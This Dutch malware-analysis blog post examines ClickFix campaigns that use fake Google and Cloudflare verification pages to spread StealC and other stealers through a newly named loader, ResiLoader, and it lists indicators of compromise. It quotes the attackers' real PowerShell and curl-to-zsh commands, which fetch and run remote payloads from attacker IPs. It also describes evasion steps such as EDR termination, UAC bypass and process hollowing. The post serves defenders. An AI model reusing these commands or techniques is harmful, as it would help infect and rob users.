Valse verificatiepagina’s van Google en Cloudflare verspreiden verschillende malwarefamilies

| 2 juli 2026
Valse verificatiepagina’s van Google en Cloudflare verspreiden verschillende malwarefamilies

ClickFix-aanvallen, waarbij mensen worden misleid om zelf schadelijke opdrachten uit te voeren, blijven zich verder ontwikkelen. Bij deze nieuwste campagne wordt gebruikgemaakt van valse verificatiepagina’s van Google en Cloudflare om slachtoffers ervan te overtuigen hun eigen apparaten te infecteren.

Eén enkele fout kan ertoe leiden dat er malware wordt geïnstalleerd die wachtwoorden en andere gevoelige gegevens steelt, aanvallers op afstand toegang tot uw computer verschaft of extra malware downloadt waarmee zij de volledige controle over uw systeem kunnen overnemen.

We hebben meerdere campagnes ontdekt die gebruikmaken van dezelfde infrastructuur om malware te verspreiden, waaronder HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport en een op Rust gebaseerde stealer.

In één infectieketen downloadt een met een trojan geïnfecteerde versie van de legitieme berichtenapp Franz een tot nu toe onbekende loader, genaamd ResiLoader, die beveiligingssoftware uitschakelt voordat de infostealer StealC wordt geïnstalleerd.

Voordat we ingaan op de technische details, volgt hier eerst hoe je kunt voorkomen dat je het volgende slachtoffer wordt.

Hoe blijf ik veilig

ClickFix-aanvallen zijn erop gericht je ervan te overtuigen zelf opdrachten uit te voeren. De veiligste aanpak is simpel:

  • Kopieer en voer nooit opdrachten van een website uit, tenzij je de instructies van een betrouwbare bron volgt en precies begrijpt wat de opdracht doet.
  • Wees op je hoede voor verificatiepagina’s. Google, Cloudflare, Microsoft en andere legitieme diensten zullen je nooit vragen om PowerShell-opdrachten in Windows te plakken Windows aan te tonen dat je een mens bent of om een probleem op te lossen.
  • Laat je niet door een gevoel van urgentie overhaasten. Valse verificatiepagina’s maken vaak gebruik van afteltimers, bezoekersaantallen of waarschuwingen om je onder druk te zetten zodat je snel actie onderneemt.
  • Houd je beveiligingssoftware up-to-date. Dankzij realtime bescherming en internetbeveiliging kunnen schadelijke websites worden geblokkeerd voordat je ze bezoekt.
  • Wees op je hoede voor onverwachte technische instructies. Als een website je vraagt om PowerShell, de Opdrachtprompt of Terminal te openen, wacht dan even en controleer de instructies via de officiële ondersteuningskanalen van het bedrijf.

Tip van een professional: Malwarebytes Browser Guard kan u waarschuwen wanneer een website probeert inhoud naar uw klembord te kopiëren – een veelgebruikte truc van ClickFix-pagina's.

Technische analyse

De campagnes die in dit onderzoek zijn geanalyseerd, zijn al sinds ten minste eind 2025 actief en maken gebruik van diverse valse Google- en Cloudflare-pagina’s om malware te verspreiden. Hoewel de lokmiddelen verschillen, maken ze grotendeels gebruik van dezelfde infrastructuur en infectieketen, waarbij de aanvallers voortdurend nieuwe verspreidingsmethoden en payloads testen.

Verschillende kunstaasjes, één doel

De meeste campagnes hebben een aantal kenmerken gemeen:

  • Gebruik van de map C:\ProgramData\Zooms om latere fasen te extraheren
  • PowerShell ClickFix-opdrachten die een vergelijkbaar patroon volgen
  • Gebruik van Cloudflare R2-buckets voor het leveren van payloads
  • IP-adressen die worden gehost door ASN Dedik Services Limited
  • HTML-antwoorden die uitsluitend de zin bevatten "hehe"

Deze indicatoren zijn in de loop van de tijd veranderd, waardoor ze niet in elke infectieketen voorkomen. De campagnes blijven zich ontwikkelen, waarbij regelmatig nieuwe payloads en verspreidingsmethoden worden geïntroduceerd. Zo wordt in sommige gevallen het IP-adres rechtstreeks gebruikt voor de verspreiding van de payload, in plaats van via buckets.

Het laatste commando dat door de gebruiker wordt gekopieerd, volgt meestal dit patroon: 

powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

De poort en het pad komen niet altijd voor in de geanalyseerde gevallen; de poorten zijn willekeurig, maar enkele veelgebruikte poorten zijn: 6600, 9900, 5506, 7895, 7493, 149, 8442. 

Om deze opdrachten uit te voeren, wordt gebruikgemaakt van verschillende ClickFix-gerelateerde sjablonen, die voornamelijk verband houden met Google en Cloudflare. We hebben ook vastgesteld dat de PowerShell-opdracht in sommige gevallen via het IClickFix-framework werd verspreid. 

We hebben vastgesteld dat deze ClickFix-campagnes via de volgende kanalen werden verspreid:

  • Oude websites die waarschijnlijk zijn verlopen en door de dader(s) zijn teruggekocht.  
  • CloudFlare Pages (.pages.dev domeinen). 
  • Gecompromitteerde websites. 
  • Nepdiensten, bijvoorbeeld met betrekking tot QR-codes of toegang tot bestanden op het web. 

Google ClickFix lokt 

De initiatiefnemers van deze campagnes maken gebruik van diverse Google-gerelateerde HTML-pagina’s en pakketten. 

Eén lokpagina doet zich voor als de Google reCAPTCHA-verificatie. De pagina’s worden gehost op willekeurige URL’s die valse of schadelijke inhoud weergeven. Deze domeinen zijn vaak oudere registraties die sinds kort naar nieuwe IP-adressen verwijzen, wat erop wijst dat ze voor deze campagne zijn hergebruikt.

Sommige van deze pagina’s bevatten URL-parameters zoals bijvoorbeeld “zoneid”, “cost”, “device”, “country” en “clickid”, bijvoorbeeld: 

  • /conf/captcha.html?zoneid=10420852 
  • /wincapbot/nobot.html 
  • /xmr/trkuste.php?zone=5327134 
  • bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop 
"Handmatige verificatie vereist" – ClickFix-pagina
"Handmatige verificatie vereist" – ClickFix-pagina
ClickFix-pagina „Handmatige verificatie vereist”

In dit geval zijn de functies die betrekking hebben op ClickFix geïmplementeerd in de klasse CustomCaptcha. Het commando staat in leesbare vorm, zonder enige versleuteling. 

De methode „StartVerification” in de klasse „CustomCaptcha”
De methode „StartVerification” in de klasse „CustomCaptcha”

Een andere distributiemethode maakt gebruik van Cloudflare Pages, gehost op .pages.dev subdomeinen.

"Controleer of je een mens bent" – ClickFix-pagina
“Bevestig dat je een mens bent” – ClickFix-pagina

In dit geval wordt de HTML-pagina versleuteld door verschillende variabelen te definiëren en deze vervolgens met een XOR-bewerking te combineren. De ontsleutelde code heet SECURITY GATEWAY en het bestaat uit de functies GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, en PanelController.  

Met deze code kunnen de aanvallers de opdracht zowel op afstand als lokaal ophalen. In dit voorbeeld is de kwaadaardige PowerShell-opdracht lokaal opgeslagen.

De PowerShell-opdracht die in de code van „SECURITY GATEWAY” is gedefinieerd
De PowerShell-opdracht die in de code van „SECURITY GATEWAY” is gedefinieerd

We hebben ook vastgesteld dat sommige van deze domeinen in het verleden al eens een ander lokmiddel hebben verspreid, in dit geval in verband met een ongeautoriseerde Google-aanmelding. Dit ClickFix-lokmiddel vraagt de gebruiker om de kwaadaardige opdracht te kopiëren en te plakken om zijn apparaat als primair in te stellen. 

ClickFix-pagina „Opnieuw inloggen met vertrouwd token”
ClickFix-pagina „Opnieuw inloggen met vertrouwd token”

Het interessante aan deze ClickFix-kit is dat deze, zoals in de reacties wordt beschreven, een „goedkeuringspoort“ bevat en dat de aanvaller handmatig in het venster moet kiezen welke opdracht de gebruiker moet uitvoeren. 

Opmerkingen over de kit en de „goedkeuringsprocedure“
Opmerkingen over de kit en de „goedkeuringsprocedure“
Opmerkingen over de kit en de „goedkeuringsprocedure“

In recentere campagnes hebben we een ClickFix-valstrik ontdekt die verband houdt met Google Meet, waarbij gebruikers een schadelijke opdracht moeten kopiëren en plakken om audio-problemen op te lossen. 

De „audio-driver repareren“-lokker van Meet ClickFix
De „audio-driver repareren“-lokker van Google Meet ClickFix

In de geanalyseerde gevallen was het eindpunt /api/driver-clipboard.php het volgende schadelijke commando teruggestuurd:

{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} 

Andere kunstaasjes 

De daders achter deze campagne maken gebruik van diverse kits en lokmiddelen, die meestal verband houden met Google. We hebben echter ook andere lokmiddelen ontdekt die commando’s hebben gekopieerd die verband houden met dezelfde infrastructuur. 

De aanvallers achter deze campagnes breken ook in op meerdere websites met behulp van verschillende sjablonen die verband houden met de CloudFlare ClickFix -valstrik. 

“Bevestig dat je een mens bent” op ClickFix-pagina’s
“Bevestig dat je een mens bent” op ClickFix-pagina’s
“Bevestig dat je een mens bent” op ClickFix-pagina’s

We hebben verschillende sjablonen ontdekt die worden gebruikt voor CloudFlare-pagina’s. In de geanalyseerde gevallen is het commando in leesbare vorm aanwezig of, in sommige gevallen, versleuteld. 

Enkele van de HTML-pagina’s van CloudFlare ClickFix 
Enkele van de HTML-pagina’s van CloudFlare ClickFix 
Enkele van de HTML-pagina’s van CloudFlare ClickFix 
Enkele van de HTML-pagina’s van CloudFlare ClickFix 

We hebben ook enkele speciaal voor dit doel opgezette websites met nepdiensten ontdekt. Zo toont de website „My QR Generator“ bijvoorbeeld een versleutelde QR-code en vraagt de gebruiker om een PowerShell-opdracht uit te voeren om te verifiëren dat hij geen robot is. 

“QR-code” ClickFix-landingspagina 
“QR-code” ClickFix-landingspagina 

In dit geval is het commando gecodeerd in Base64: 

Ontcijferde PowerShell-opdracht
Ontcijferde PowerShell-opdracht

PowerShell-downloader 

Het door de gebruiker uitgevoerde ClickFix-commando decodeert een script en plaatst dit in de map Temp onder de naam tmp{4 char}.tmp.ps1

We hebben verschillende varianten van dit script ontdekt, maar de recentste versies doen het volgende: 

  • Maak de map aan C:\ProgramData\Zooms
  • Download de volgende fase uit een CloudFlare-bucket en sla deze op in C:\ProgramData\Zooms. In sommige varianten van het script wordt de volgende fase rechtstreeks vanaf een IP-adres gedownload. 
  • Stuur de gegevens van de gehackte computer naar http://{IP}/dl-callback. In sommige varianten van het script ontbreekt dit deel. 
Verloren PowerShell-script
Verloren PowerShell-script

De aanvallers achter deze campagnes maken gebruik van een groot aantal verschillende payloads. De campagnes verspreiden een breed scala aan payloads. In de onderstaande tabel worden enkele van de gedownloade bestandsnamen en de malware die ze installeren samengevat. In veel van de geanalyseerde gevallen werd de uiteindelijke payload verspreid via DLL-hijacking, zoals we later ook zullen zien bij de StealC-stealer. 

Bestand verspreid Verspreide malware 
libEGL.zip, Safe-1.zip De met een trojan geïnfecteerde Electron-app, ResiLoader en StealC 
Test.msi Deno Loader en PowerShell Stealer 
arworks.zip Amatera Stealer 
water-night.zip Remus Stealer 
Setup.msi, Invintrum_first.msi NetSupport 
traffic1.msi CastleLoader 
ibrowser.exe Roestdief 

We hebben een nieuwe loader genaamd ResiLoader geanalyseerd, die uiteindelijk StealC verspreidt. We hebben ook vastgesteld dat de cybercrimineel in de meest recente campagnes Deno is gaan gebruiken om uiteindelijk een in PowerShell ontwikkelde stealer te verspreiden; de analyse van deze infectieketen zou het onderwerp kunnen vormen van een toekomstige blogpost. 

De met een trojan geïnfecteerde Electron-app downloadt ResiLoader

In dit geval is het ZIP-bestand gedownload van: 

  • pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip 

Na extractie naar: 

  • C:\ProgramData\Zooms\libEGL.zip_ext

Het zip-bestand bevat een met een trojan geïnfecteerde versie van de open-source berichtenapp „Franz“: 

De met een trojan geïnfecteerde app „Franz”, die wordt gebruikt om ResiLoader te downloaden
De met een trojan geïnfecteerde app „Franz”, die wordt gebruikt om ResiLoader te downloaden

De schadelijke code is geïmplementeerd in de index.js bestand: 

De versleutelde code in de app met de achterdeur
De versleutelde code in de app met de achterdeur

De downloader voert de volgende bewerkingen uit: 

  • Decodeer de tekenreeksen met de functie HC()
  • Leest readme.txt, verwacht een campagnecode in de vorm van AAAA-BBBB, geeft het terug als een array van tokens. In dit geval is de naam resiloader-1 en daarom noemen we de gedownloade DLL „ResiLoader”. 
  • Leest %APPDATA%\setup.txt; indien ontbrekend, wordt er een willekeurige tekenreeks van 8 tekens gegenereerd en opgeslagen.  
  • Persistentie realiseren met behulp van app.setLoginItemSettings
  • Verzendt een POST-verzoek naar https[:]//completstep[.]com/api/ en werk het JSON-antwoord uit
    • Als task.e is aanwezig, dan wordt het uitgevoerd eval(task.e); hierdoor kan de aanvaller willekeurige JavaScript-code uitvoeren. 
    • Als task.files is aanwezig, maak dan %TEMP%\<Date.now()>\, elk bestand decoderen en opslaan; als een bestandsnaam eindigt op .exe, voer het uit via child_process.exec

In ons geval hebben we een ZIP-bestand ontvangen dat de DLL-hijacking uitvoert van ssh-add.exe

{"task":{"name":"JUNE18USY","files":{ 

   "msys-2.0.dll":"<base64>", 

   "msys-crypto-3.dll":"<base64>", 

   "msys-gcc_s-seh-1.dll":"<base64>", 

   "ssh-add.exe":"<base64>" }}}

Vervolgens werd het uitvoerbare bestand uitgevoerd met: 

C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" 

ResiLoader

De msys-crypto-3.dll is een versleutelde .NET NativeAOT loader die AV/EDR-ontwijking implementeert met behulp van een BYOD-techniek, persistentie verkrijgt en uiteindelijk de stealer StealC laadt. We hebben geen specifieke toeschrijving voor deze loader kunnen vinden en hebben hem daarom „ResiLoader“ genoemd, op basis van de tekenreeks die in eerdere readme.txt

De loader bevat verschillende tekenreeksen, waarvan sommige in leesbare vorm en andere versleuteld. Na het ontsleutelen van de tekenreeksen is het mogelijk om een volledig beeld te krijgen van de functionaliteit van de ResiLoader. 

MANPO: ReadModule len=... 

MANPO: magicOffset=...
… 

PERS: FAIL all file copies failed, skipping run key 

PERS: FAIL both HKLM and HKCU Run key writes failed 
… 

RUNPE: CreateProcess failed 

RUNPE: PEB patched 

RUNPE: VirtualAllocEx failed 
… 

POST: RunForever exited (unexpected) 

POST: entering RunForever 

POST: hollow=

De lader voert de volgende handelingen uit: 

  • Pak de gecodeerde blob met de twee payloads uit door de marker te lezen AtLorenBase en de lengte van de gecodeerde blob. Vervolgens decodeert het de blob en ontcijfert het de driver pcdhost.sys (OPSWAT  
    AppRemover Driver) en de StealC-payload met behulp van een op maat gemaakt decoderingsalgoritme.  
  • Beëindig meer dan 140 processen die verband houden met EDR/AV-processen met behulp van het verwijderde stuurprogramma. 
  • Voer de UAC-bypass uit via ICMLuaUtil Verbeterde COM-interface. 
  • Maak een map aan C:\ProgramData\Google Update, zichzelf kopiëren; persistentie toevoegen met behulp van de RUN-registersleutel 
  • cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe 

Uiteindelijk voert de loader het ‘process hollowing’ van het proces uit ServiceModelReg.exe om de StealC-stealer uit te voeren. 

IOC's 

Hash 

72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 

0234E3188F2883A438B3F2BEAB7A78B2: StealC 

6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 

206ce339febca0c3bcc850f42595fc63: Amatera Stealer 

eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT 

b8d53740024d126cb55f83854335a4ab: Rust Stealer 

Domeinen 

ClickFix-pagina's verspreiden: 

onegeekworld[.]com 

thefirmos[.]com 

antibotv3[.]com 

centralwildcats[.]com 

cloud.antibotv3[.]com 

cloudautosolutions[.]com 

sunseekersupply[.]com 

123clocks[.]com 

orcanegames[.]com 

rwmonitoring[.]com 

100furniture[.]com 

nepalcharchaa[.]com 

p-floribunds.pages[.]dev 

pg-altirade2.pages[.]dev 

pg-cordivant-m6.pages[.]dev 

g-luminence.pages[.]dev 

generator-qrcode[.]online 

regdev-google[.]com 

khosla[.]capital 

eorgke09054909j[.]com 

dropboxi[.]com 

CloudFlare-buckets die worden gebruikt voor de distributie van payloads

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-620528e2dc874e16937673265aa23d39.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-9682d5896df841679c5a17eb41273f89.r2[.]dev 

pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev 

pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

unitedstateverif[.]com: verdeling van de lading 

bigflaredefence[.]com: verdeling van de lading 

popularcard[.]shop: Rust Stealer C2 

xzz[.]proxygrid[.]cc: Amatera Stealer C2 

completstep[.]com: Loader C2 

eventlogerps1[.]ink: Deno Loader  

be231ro963[.]com: Deno Loader  

IP's 

IP-adres dat wordt gebruikt voor de distributie van de payload

151.240.151[.]126 

85.239.149[.]16 

85.239.149[.]40 

93.152.224[.]29 

151.240.151[.]46 

93.152.224[.]167 

85.239.149[.]78 

192.69.195[.]131 

135.181.171[.]40 

94.26.83[.]206 

91.92.34[.]128 

85.239.144[.]31 

93.152.224[.]39 

94.26.90[.]112 

146.19.248[.]120: StealC C2 

Dankwoord  

Over de auteur

Gabriele is een malware-onderzoeker die dol is op het bestrijden van malware. Als hij dat niet doet, geniet hij van de natuur, kunst en dieren.